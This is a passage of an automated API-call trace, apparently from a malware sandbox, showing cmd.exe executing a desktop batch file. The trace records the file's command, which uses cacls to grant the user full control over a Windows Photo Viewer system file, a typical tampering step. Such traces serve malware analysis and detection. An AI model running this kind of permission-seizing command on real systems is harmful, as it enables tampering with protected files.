hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d6b00 | out: hHeap=0x6c0000) returned 1 [0109.258] _wcsicmp (_String1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"", _String2=")") returned -7 [0109.259] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0109.259] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0109.259] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0109.259] _wcsicmp (_String1="IF/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0109.259] _wcsicmp (_String1="REM", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0109.259] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0109.259] GetProcessHeap () returned 0x6c0000 [0109.259] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x58) returned 0x6d3188 [0109.259] GetProcessHeap () returned 0x6c0000 [0109.259] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x72) returned 0x6e2b50 [0109.260] GetProcessHeap () returned 0x6c0000 [0109.260] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x88) returned 0x6d31e8 [0109.261] GetConsoleTitleW (in: lpConsoleTitle=0x31f9f8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0109.262] GetFileAttributesW (lpFileName="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\\"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat\"")) returned 0xffffffff [0109.262] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0109.262] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0109.262] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0109.262] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0109.262] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0109.262] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0109.262] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0109.262] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0109.262] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0109.262] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0109.262] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0109.262] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0109.262] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0109.263] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0109.263] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0109.263] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0109.263] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0109.263] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0109.263] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0109.263] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0109.263] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0109.263] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0109.263] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0109.263] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0109.263] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0109.263] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0109.263] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0109.263] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0109.263] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0109.263] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0109.263] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0109.263] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0109.263] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0109.263] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0109.263] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0109.263] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0109.263] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0109.263] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0109.263] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0109.263] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0109.264] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0109.264] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0109.264] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0109.264] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0109.264] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0109.264] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0109.264] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0109.264] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0109.264] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0109.264] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0109.264] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0109.264] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0109.264] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0109.264] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0109.264] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0109.264] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0109.264] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0109.264] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0109.264] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0109.264] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0109.264] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0109.264] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0109.264] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0109.264] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0109.264] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0109.264] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0109.264] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0109.264] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0109.264] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0109.264] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0109.264] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0109.264] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0109.264] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0109.264] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0109.264] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0109.264] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0109.265] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0109.265] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0109.265] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0109.265] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0109.265] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0109.265] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0109.265] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0109.265] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0109.265] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0109.265] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0109.265] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0109.265] GetProcessHeap () returned 0x6c0000 [0109.265] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x210) returned 0x6d3278 [0109.265] GetProcessHeap () returned 0x6c0000 [0109.265] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xf2) returned 0x6d3490 [0109.267] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0109.267] GetProcessHeap () returned 0x6c0000 [0109.267] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x418) returned 0x6c07f0 [0109.267] SetErrorMode (uMode=0x0) returned 0x0 [0109.267] SetErrorMode (uMode=0x1) returned 0x0 [0109.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x208, lpBuffer=0x6c07f8, lpFilePart=0x31f518 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x31f518*="Desktop") returned 0x25 [0109.267] SetErrorMode (uMode=0x0) returned 0x1 [0109.267] GetProcessHeap () returned 0x6c0000 [0109.267] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6c07f0, Size=0x6e) returned 0x6c07f0 [0109.267] GetProcessHeap () returned 0x6c0000 [0109.267] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6c07f0) returned 0x6e [0109.267] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.") returned 1 [0109.267] GetProcessHeap () returned 0x6c0000 [0109.267] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x5a) returned 0x6d3590 [0109.267] GetProcessHeap () returned 0x6c0000 [0109.267] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xa8) returned 0x6d35f8 [0109.267] GetProcessHeap () returned 0x6c0000 [0109.267] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d35f8, Size=0x5a) returned 0x6d35f8 [0109.267] GetProcessHeap () returned 0x6c0000 [0109.267] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d35f8) returned 0x5a [0109.267] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0109.268] GetProcessHeap () returned 0x6c0000 [0109.268] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xe0) returned 0x6c0868 [0109.271] GetProcessHeap () returned 0x6c0000 [0109.271] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6c0868, Size=0x76) returned 0x6c0868 [0109.271] GetProcessHeap () returned 0x6c0000 [0109.271] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6c0868) returned 0x76 [0109.271] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0109.271] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", fInfoLevelId=0x1, lpFindFileData=0x31f2b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31f2b4) returned 0x6d3660 [0109.271] GetProcessHeap () returned 0x6c0000 [0109.271] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x14) returned 0x6d36a0 [0109.271] FindClose (in: hFindFile=0x6d3660 | out: hFindFile=0x6d3660) returned 1 [0109.271] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0109.271] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0109.272] GetConsoleTitleW (in: lpConsoleTitle=0x31f78c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0109.272] GetProcessHeap () returned 0x6c0000 [0109.272] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x11c) returned 0x6c08e8 [0109.273] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x754b0000 [0109.273] GetProcAddress (hModule=0x754b0000, lpProcName="SaferIdentifyLevel") returned 0x754d2102 [0109.273] IdentifyCodeAuthzLevelW () returned 0x1 [0109.281] GetProcAddress (hModule=0x754b0000, lpProcName="SaferComputeTokenFromLevel") returned 0x754d3352 [0109.281] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0109.281] GetProcAddress (hModule=0x754b0000, lpProcName="SaferCloseLevel") returned 0x754d3825 [0109.281] CloseCodeAuthzLevel () returned 0x1 [0109.281] SetErrorMode (uMode=0x0) returned 0x0 [0109.282] SetErrorMode (uMode=0x1) returned 0x0 [0109.282] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x104, lpBuffer=0x6d3280, lpFilePart=0x31f678 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x31f678*="Bt3xnwko.bat") returned 0x32 [0109.282] SetErrorMode (uMode=0x0) returned 0x1 [0109.282] GetProcessHeap () returned 0x6c0000 [0109.282] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x72) returned 0x6e2bd0 [0109.282] wcsspn (_String=" \"C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\"", _Control=" \x09") returned 0x1 [0109.282] GetProcessHeap () returned 0x6c0000 [0109.282] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x86) returned 0x6c1140 [0109.282] GetProcessHeap () returned 0x6c0000 [0109.282] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x104) returned 0x6e4b38 [0109.282] GetProcessHeap () returned 0x6c0000 [0109.282] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6e4b38, Size=0x88) returned 0x6e4b38 [0109.282] GetProcessHeap () returned 0x6c0000 [0109.282] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6e4b38) returned 0x88 [0109.282] CmdBatNotification () returned 0x6d32e2 [0109.282] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x31f6bc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0109.282] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0109.282] _get_osfhandle (_FileHandle=3) returned 0x78 [0109.282] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.283] _get_osfhandle (_FileHandle=3) returned 0x78 [0109.283] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.283] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x31f6a0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x31f6a0*=0xe2, lpOverlapped=0x0) returned 1 [0109.283] SetFilePointer (in: hFile=0x78, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0109.283] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=32, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\n") returned 32 [0109.284] _get_osfhandle (_FileHandle=3) returned 0x78 [0109.284] GetFileType (hFile=0x78) returned 0x1 [0109.284] _get_osfhandle (_FileHandle=3) returned 0x78 [0109.284] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0109.284] GetProcessHeap () returned 0x6c0000 [0109.284] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x400a) returned 0x6d6b00 [0109.284] GetProcessHeap () returned 0x6c0000 [0109.284] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x4008) returned 0x6e4bc8 [0109.285] GetProcessHeap () returned 0x6c0000 [0109.285] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1a) returned 0x6d5850 [0109.285] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0109.285] GetProcessHeap () returned 0x6c0000 [0109.285] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d5850 | out: hHeap=0x6c0000) returned 1 [0109.285] GetProcessHeap () returned 0x6c0000 [0109.285] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6e4bc8 | out: hHeap=0x6c0000) returned 1 [0109.285] GetProcessHeap () returned 0x6c0000 [0109.285] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d6b00 | out: hHeap=0x6c0000) returned 1 [0109.285] _wcsicmp (_String1="cacls", _String2=")") returned 58 [0109.285] _wcsicmp (_String1="FOR", _String2="cacls") returned 3 [0109.285] _wcsicmp (_String1="FOR/?", _String2="cacls") returned 3 [0109.285] _wcsicmp (_String1="IF", _String2="cacls") returned 6 [0109.285] _wcsicmp (_String1="IF/?", _String2="cacls") returned 6 [0109.285] _wcsicmp (_String1="REM", _String2="cacls") returned 15 [0109.285] _wcsicmp (_String1="REM/?", _String2="cacls") returned 15 [0109.285] GetProcessHeap () returned 0x6c0000 [0109.286] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x58) returned 0x6c11d0 [0109.286] GetProcessHeap () returned 0x6c0000 [0109.286] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x14) returned 0x6c1230 [0109.287] GetProcessHeap () returned 0x6c0000 [0109.287] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xc8) returned 0x6d41a0 [0109.288] _tell (_FileHandle=3) returned 32 [0109.288] _close (_FileHandle=3) returned 0 [0109.288] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x31f474 | out: _Buffer="\r\n") returned 2 [0109.288] _get_osfhandle (_FileHandle=1) returned 0x7 [0109.288] GetFileType (hFile=0x7) returned 0x2 [0109.393] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0109.393] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f434 | out: lpMode=0x31f434) returned 1 [0109.393] _get_osfhandle (_FileHandle=1) returned 0x7 [0109.393] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x31f460, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f460*=0x2) returned 1 [0109.394] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0109.394] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0109.394] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x31f470 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0109.394] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x31f470 | out: _Buffer=">") returned 1 [0109.394] _get_osfhandle (_FileHandle=1) returned 0x7 [0109.394] GetFileType (hFile=0x7) returned 0x2 [0109.395] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0109.395] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f438 | out: lpMode=0x31f438) returned 1 [0109.395] _get_osfhandle (_FileHandle=1) returned 0x7 [0109.395] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x31f464, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x31f464*=0x26) returned 1 [0109.397] _get_osfhandle (_FileHandle=1) returned 0x7 [0109.397] GetFileType (hFile=0x7) returned 0x2 [0109.397] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0109.397] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6bc | out: lpMode=0x31f6bc) returned 1 [0109.397] _get_osfhandle (_FileHandle=1) returned 0x7 [0109.397] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x6c1238*, nNumberOfCharsToWrite=0x5, lpNumberOfCharsWritten=0x31f6e8, lpReserved=0x0 | out: lpBuffer=0x6c1238*, lpNumberOfCharsWritten=0x31f6e8*=0x5) returned 1 [0109.398] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x31f6f4 | out: _Buffer=" \"C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C ") returned 96 [0109.398] _get_osfhandle (_FileHandle=1) returned 0x7 [0109.398] GetFileType (hFile=0x7) returned 0x2 [0109.398] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0109.398] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6b4 | out: lpMode=0x31f6b4) returned 1 [0109.398] _get_osfhandle (_FileHandle=1) returned 0x7 [0109.398] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x60, lpNumberOfCharsWritten=0x31f6e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f6e0*=0x60) returned 1 [0109.399] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x31f714 | out: _Buffer="\r\n") returned 2 [0109.399] _get_osfhandle (_FileHandle=1) returned 0x7 [0109.399] GetFileType (hFile=0x7) returned 0x2 [0109.399] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0109.399] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6d4 | out: lpMode=0x31f6d4) returned 1 [0109.399] _get_osfhandle (_FileHandle=1) returned 0x7 [0109.399] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x31f700, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f700*=0x2) returned 1 [0109.399] _wcsicmp (_String1="cacls", _String2="DIR") returned -1 [0109.399] _wcsicmp (_String1="cacls", _String2="ERASE") returned -2 [0109.399] _wcsicmp (_String1="cacls", _String2="DEL") returned -1 [0109.399] _wcsicmp (_String1="cacls", _String2="TYPE") returned -17 [0109.400] _wcsicmp (_String1="cacls", _String2="COPY") returned -14 [0109.400] _wcsicmp (_String1="cacls", _String2="CD") returned -3 [0109.400] _wcsicmp (_String1="cacls", _String2="CHDIR") returned -7 [0109.400] _wcsicmp (_String1="cacls", _String2="RENAME") returned -15 [0109.400] _wcsicmp (_String1="cacls", _String2="REN") returned -15 [0109.400] _wcsicmp (_String1="cacls", _String2="ECHO") returned -2 [0109.400] _wcsicmp (_String1="cacls", _String2="SET") returned -16 [0109.400] _wcsicmp (_String1="cacls", _String2="PAUSE") returned -13 [0109.400] _wcsicmp (_String1="cacls", _String2="DATE") returned -1 [0109.400] _wcsicmp (_String1="cacls", _String2="TIME") returned -17 [0109.400] _wcsicmp (_String1="cacls", _String2="PROMPT") returned -13 [0109.400] _wcsicmp (_String1="cacls", _String2="MD") returned -10 [0109.400] _wcsicmp (_String1="cacls", _String2="MKDIR") returned -10 [0109.400] _wcsicmp (_String1="cacls", _String2="RD") returned -15 [0109.400] _wcsicmp (_String1="cacls", _String2="RMDIR") returned -15 [0109.400] _wcsicmp (_String1="cacls", _String2="PATH") returned -13 [0109.400] _wcsicmp (_String1="cacls", _String2="GOTO") returned -4 [0109.400] _wcsicmp (_String1="cacls", _String2="SHIFT") returned -16 [0109.400] _wcsicmp (_String1="cacls", _String2="CLS") returned -11 [0109.400] _wcsicmp (_String1="cacls", _String2="CALL") returned -9 [0109.400] _wcsicmp (_String1="cacls", _String2="VERIFY") returned -19 [0109.400] _wcsicmp (_String1="cacls", _String2="VER") returned -19 [0109.400] _wcsicmp (_String1="cacls", _String2="VOL") returned -19 [0109.400] _wcsicmp (_String1="cacls", _String2="EXIT") returned -2 [0109.400] _wcsicmp (_String1="cacls", _String2="SETLOCAL") returned -16 [0109.400] _wcsicmp (_String1="cacls", _String2="ENDLOCAL") returned -2 [0109.400] _wcsicmp (_String1="cacls", _String2="TITLE") returned -17 [0109.400] _wcsicmp (_String1="cacls", _String2="START") returned -16 [0109.400] _wcsicmp (_String1="cacls", _String2="DPATH") returned -1 [0109.400] _wcsicmp (_String1="cacls", _String2="KEYS") returned -8 [0109.400] _wcsicmp (_String1="cacls", _String2="MOVE") returned -10 [0109.400] _wcsicmp (_String1="cacls", _String2="PUSHD") returned -13 [0109.400] _wcsicmp (_String1="cacls", _String2="POPD") returned -13 [0109.400] _wcsicmp (_String1="cacls", _String2="ASSOC") returned 2 [0109.400] _wcsicmp (_String1="cacls", _String2="FTYPE") returned -3 [0109.401] _wcsicmp (_String1="cacls", _String2="BREAK") returned 1 [0109.401] _wcsicmp (_String1="cacls", _String2="COLOR") returned -14 [0109.401] _wcsicmp (_String1="cacls", _String2="MKLINK") returned -10 [0109.401] _wcsnicmp (_String1="cacl", _String2="cmd ", _MaxCount=0x4) returned -12 [0109.401] GetProcessHeap () returned 0x6c0000 [0109.401] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x418) returned 0x6d4270 [0109.401] SetErrorMode (uMode=0x0) returned 0x0 [0109.401] SetErrorMode (uMode=0x1) returned 0x0 [0109.401] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6d4278, lpFilePart=0x31f4b8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x31f4b8*="Desktop") returned 0x25 [0109.401] SetErrorMode (uMode=0x0) returned 0x1 [0109.401] GetProcessHeap () returned 0x6c0000 [0109.401] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4270, Size=0x60) returned 0x6d4270 [0109.401] GetProcessHeap () returned 0x6c0000 [0109.401] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d4270) returned 0x60 [0109.401] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0109.401] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0109.401] GetProcessHeap () returned 0x6c0000 [0109.401] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x120) returned 0x6d42d8 [0109.401] GetProcessHeap () returned 0x6c0000 [0109.401] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x238) returned 0x6d4400 [0109.405] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4400, Size=0x122) returned 0x6d4400 [0109.405] GetProcessHeap () returned 0x6c0000 [0109.405] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d4400) returned 0x122 [0109.405] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0109.405] GetProcessHeap () returned 0x6c0000 [0109.405] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xe0) returned 0x6d4530 [0109.405] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4530, Size=0x76) returned 0x6d4530 [0109.405] GetProcessHeap () returned 0x6c0000 [0109.405] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d4530) returned 0x76 [0109.405] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0109.405] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 